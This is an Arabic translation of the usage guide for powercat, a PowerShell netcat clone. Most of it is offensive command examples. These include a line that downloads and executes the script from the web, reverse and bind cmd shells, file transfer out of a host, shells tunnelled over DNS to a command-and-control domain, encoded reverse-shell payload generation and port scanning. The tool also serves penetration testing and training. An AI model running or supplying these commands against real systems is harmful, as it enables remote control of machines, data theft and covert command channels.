
ميزات netshell جميعها في الإصدار 2 من PowerShell
Netcat: نسخة الباورشيل. (مدعومة إصدار باورشيل 2 وما بعده)
powercat هي دالة باورشيل. أولاً، تحتاج إلى تحميل الدالة قبل أن تتمكن من تنفيذها. يمكنك وضع أحد الأوامر أدناه في ملف تعريف الباورشيل الخاص بك بحيث يتم تحميل powercat تلقائيًا عند بدء تشغيل الباورشيل.
Load The Function From Downloaded .ps1 File:
. .\powercat.ps1
Load The Function From URL:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
-l استمع لاتصال. [Switch]
-c اتصل بمستمع. [String]
-p المنفذ الذي سيتم الاتصال به أو الاستماع عليه. [String]
-e تنفيذ. (GAPING_SECURITY_HOLE) [String]
-ep تنفيذ باورشيل. [Switch]
-r توجيه. التنسيق: "-r tcp:10.1.1.1:443" [String]
-u نقل البيانات عبر UDP. [Switch]
-dns نقل البيانات عبر dns (dnscat2). [String]
-dnsft حد فشل DNS. [int32]
-t خيار المهلة. الافتراضي: 60 [int32]
-i الإدخال: مسار ملف (string)، مصفوفة بايت، أو سلسلة. [object]
-o نوع الإخراج لوحدة التحكم: "Host"، "Bytes"، أو "String" [String]
-of مسار ملف الإخراج. [String]
-d افصل بعد الاتصال. [Switch]
-rep مكرر. إعادة التشغيل بعد قطع الاتصال. [Switch]
-g إنشاء حمولة. [Switch]
-ge إنشاء حمولة مشفرة. [Switch]
-h طباعة رسالة المساعدة. [Switch]
بشكل افتراضي، يقرأ powercat الإدخال من وحدة التحكم ويكتب الإخراج إلى وحدة التحكم باستخدام write-host. يمكنك تغيير نوع الإخراج إلى 'Bytes' أو 'String' باستخدام -o.
عميل أساسي:
powercat -c 10.1.1.1 -p 443
مستمع أساسي:
powercat -l -p 8000
عميل أساسي، إخراج كبايتات:
powercat -c 10.1.1.1 -p 443 -o Bytes
يمكن استخدام powercat لنقل الملفات ذهابًا وإيابًا باستخدام -i (الإدخال) و -of (ملف الإخراج).
إرسال ملف:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile
استقبال ملف:
powercat -l -p 8000 -of C:\inputfile
يمكن استخدام powercat لإرسال وتقديم الصدف. حدد ملفًا تنفيذيًا لـ -e، أو استخدم -ep لتنفيذ باورشيل.
تقديم صدفة cmd:
powercat -l -p 443 -e cmd
إرسال صدفة cmd:
powercat -c 10.1.1.1 -p 443 -e cmd
تقديم صدفة تنفذ أوامر باورشيل:
powercat -l -p 443 -ep
يدعم powercat أكثر من مجرد إرسال البيانات عبر TCP. حدد -u لتفعيل وضع UDP. يمكن أيضًا إرسال البيانات إلى خادم dnscat2 باستخدام -dns. تأكد من إضافة "-e open --no-cache" عند تشغيل خادم dnscat2.
إرسال بيانات عبر UDP:
powercat -c 10.1.1.1 -p 8000 -u
powercat -l -p 8000 -u
الاتصال بخادم dnscat2 c2.example.com باستخدام خادم DNS على 10.1.1.1:
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
إرسال صدفة إلى خادم dnscat2 c2.example.com باستخدام خادم DNS الافتراضي في Windows:
powercat -dns c2.example.com -e cmd
تعمل الموجهات في powercat تمامًا مثل الموجهات التقليدية في netcat، ولكن ليس عليك إنشاء ملف أو بدء عملية ثانية. يمكنك أيضًا توجيه البيانات بين اتصالات بروتوكولات مختلفة.
توجيه من مستمع TCP إلى عميل TCP:
powercat -l -p 8000 -r tcp:10.1.1.16:443
توجيه من مستمع TCP إلى عميل UDP:
powercat -l -p 8000 -r udp:10.1.1.16:53
توجيه من مستمع TCP إلى عميل DNS:
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
توجيه من مستمع TCP إلى عميل DNS باستخدام خادم DNS الافتراضي في Windows:
powercat -l -p 8000 -r dns:::c2.example.com
توجيه من عميل TCP إلى عميل آخر:
powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
توجيه من مستمع TCP إلى مستمع آخر:
powercat -l -p 8000 -r tcp:9000
يمكن إنشاء حمولات تقوم بإجراء محدد باستخدام -g (إنشاء حمولة) و -ge (إنشاء حمولة مشفرة). يمكن تنفيذ الحمولات المشفرة باستخدام powershell -E. يمكنك استخدام هذه إذا كنت لا ترغب في استخدام powercat بأكمله.
إنشاء حمولة عكسية tcp تتصل مرة أخرى بـ 10.1.1.15 المنفذ 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
إنشاء أمر bind tcp مشفر يستمع على المنفذ 8000:
powercat -l -p 8000 -e cmd -ge
يمكن أيضًا استخدام powercat لإجراء فحص للمنافذ، وبدء خوادم دائمة.
ماسح منافذ TCP أساسي:
(21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
بدء خادم دائم يقدم ملفًا:
powercat -l -p 443 -i C:\inputfile -rep